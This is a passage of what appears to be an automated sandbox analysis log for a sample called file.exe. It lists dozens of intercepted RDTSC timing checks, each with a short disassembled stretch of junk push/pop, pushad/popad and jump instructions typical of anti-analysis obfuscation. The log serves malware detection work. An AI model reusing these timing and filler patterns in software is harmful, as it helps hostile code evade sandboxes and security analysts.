Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDB1BB second address: EDB1FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDE71263CF3h 0x0000000e jo 00007FDE71263CF8h 0x00000014 jmp 00007FDE71263CECh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA412 second address: EEA423 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF7C3 second address: EEF7C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF7C7 second address: EEF7CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF641 second address: EEF645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6B6A second address: EF6B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6B6E second address: EF6B7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jng 00007FDE71263CE6h 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6B7C second address: EF6B87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FDE70D000C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF53C4 second address: EF53CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF53CC second address: EF53D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5550 second address: EF556C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEAh 0x00000007 jng 00007FDE71263CE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FDE71263CE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF556C second address: EF5572 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5572 second address: EF5582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnc 00007FDE71263CE6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF56EF second address: EF56FD instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDE70D000C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF56FD second address: EF5701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58A8 second address: EF58C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FDE70D000D7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58C4 second address: EF58D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FDE71263CE6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58D3 second address: EF58D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5A38 second address: EF5A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5A3E second address: EF5A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FDE70D000C6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5A4D second address: EF5A51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5A51 second address: EF5A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5A57 second address: EF5AAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEBh 0x00000007 jg 00007FDE71263CF9h 0x0000000d jmp 00007FDE71263CF1h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FDE71263CEEh 0x0000001f jmp 00007FDE71263CF9h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5AAA second address: EF5ABA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF68AC second address: EF68C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00A62 second address: E00A79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDE70D000D1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCA69 second address: EFCA6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCA6F second address: EFCA73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F098A1 second address: F098A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18F29 second address: F18F2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18F2F second address: F18F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18F35 second address: F18F3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18F3D second address: F18F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18F41 second address: F18F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18DC8 second address: F18DCD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B737 second address: F1B73D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B73D second address: F1B743 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F336AC second address: F336B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33ADE second address: F33AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33AE2 second address: F33AE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33DCA second address: F33DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33DD6 second address: F33DEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE70D000CEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34105 second address: F34122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CF9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35D0E second address: F35D12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37400 second address: F37408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37408 second address: F3740C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3740C second address: F37420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDE71263CE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FDE71263CE6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39DCA second address: F39DD0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39FD4 second address: F39FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39FD8 second address: F39FDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39FDE second address: F3A020 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dl, 13h 0x0000000c push 00000004h 0x0000000e mov dx, 96B2h 0x00000012 push D97839DEh 0x00000017 pushad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FDE71263CEFh 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jc 00007FDE71263CE6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A020 second address: F3A024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A32E second address: F3A342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A342 second address: F3A34C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDE70D000C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A34C second address: F3A35A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CEAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A35A second address: F3A35E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D74B second address: F3D769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CF8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D769 second address: F3D76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D76D second address: F3D78E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 je 00007FDE71263CE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D78E second address: F3D7B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D8h 0x00000007 jmp 00007FDE70D000CEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D7B8 second address: F3D7D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FDE71263CF8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000BC3 second address: 5000BEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FDE70D00128h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDE70D000D5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000BEF second address: 5000BFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000BFF second address: 5000C88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add eax, ecx 0x0000000a pushad 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007FDE70D000D8h 0x00000012 and esi, 5FCCB318h 0x00000018 jmp 00007FDE70D000CBh 0x0000001d popfd 0x0000001e pop esi 0x0000001f mov ecx, edx 0x00000021 popad 0x00000022 mov eax, dword ptr [eax+00000860h] 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FDE70D000D1h 0x0000002f and ecx, 3DFDDCB6h 0x00000035 jmp 00007FDE70D000D1h 0x0000003a popfd 0x0000003b popad 0x0000003c test eax, eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FDE70D000D8h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000C88 second address: 5000CA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDEE1C99DAEh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000CA3 second address: 5000CBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4AA55 second address: E4AA5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4AA5B second address: E4AA5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4AE46 second address: E4AE56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502005C second address: 5020071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE70D000D1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020071 second address: 5020075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020075 second address: 5020099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE70D000D8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020099 second address: 502009F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502009F second address: 50200A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50200A3 second address: 50200DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDE71263CF2h 0x00000012 sub ch, 00000008h 0x00000015 jmp 00007FDE71263CEBh 0x0000001a popfd 0x0000001b popad 0x0000001c mov ecx, dword ptr [ebp+08h] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50200DB second address: 50200DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50200DF second address: 50200E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020109 second address: 502010F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502010F second address: 5020113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020113 second address: 5020125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ecx, 1F866D3Fh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501070A second address: 5010738 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE71263CF7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010738 second address: 5010797 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE70D000CFh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FDE70D000CFh 0x00000013 xchg eax, esi 0x00000014 pushad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop edx 0x00000018 jmp 00007FDE70D000CEh 0x0000001d popad 0x0000001e jmp 00007FDE70D000D2h 0x00000023 popad 0x00000024 lea eax, dword ptr [ebp-04h] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FDE70D000CAh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010797 second address: 50107A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50107A6 second address: 50107AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 1Ah 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50107AD second address: 50107D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FDE71263CEAh 0x0000000f xor cx, 3208h 0x00000014 jmp 00007FDE71263CEBh 0x00000019 popfd 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50107D5 second address: 5010836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FDE70D000D4h 0x0000000a adc eax, 1B145468h 0x00000010 jmp 00007FDE70D000CBh 0x00000015 popfd 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007FDE70D000D9h 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007FDE70D000D3h 0x00000027 mov ah, FBh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010869 second address: 50108AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, CB59h 0x00000008 popad 0x00000009 push ecx 0x0000000a pushfd 0x0000000b jmp 00007FDE71263CF5h 0x00000010 jmp 00007FDE71263CEBh 0x00000015 popfd 0x00000016 pop eax 0x00000017 popad 0x00000018 cmp dword ptr [ebp-04h], 00000000h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FDE71263CF2h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50108AF second address: 50108F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 mov dl, E0h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov esi, eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDE70D000D2h 0x00000013 xor ecx, 5F9992A8h 0x00000019 jmp 00007FDE70D000CBh 0x0000001e popfd 0x0000001f mov dx, cx 0x00000022 popad 0x00000023 je 00007FDE70D000F4h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50108F1 second address: 50108F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50108F7 second address: 50108FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010072 second address: 501007A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501007A second address: 50100B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx eax, dx 0x00000007 popad 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b jmp 00007FDE70D000D7h 0x00000010 push FFFFFFFEh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007FDE70D000CBh 0x0000001a pop esi 0x0000001b mov dh, 5Eh 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50100B0 second address: 50100E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FDE71263CE9h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov esi, ebx 0x00000013 call 00007FDE71263CF7h 0x00000018 pop ecx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50100E6 second address: 5010107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010107 second address: 5010123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010123 second address: 5010135 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE70D000CEh 0x00000009 rdtsc
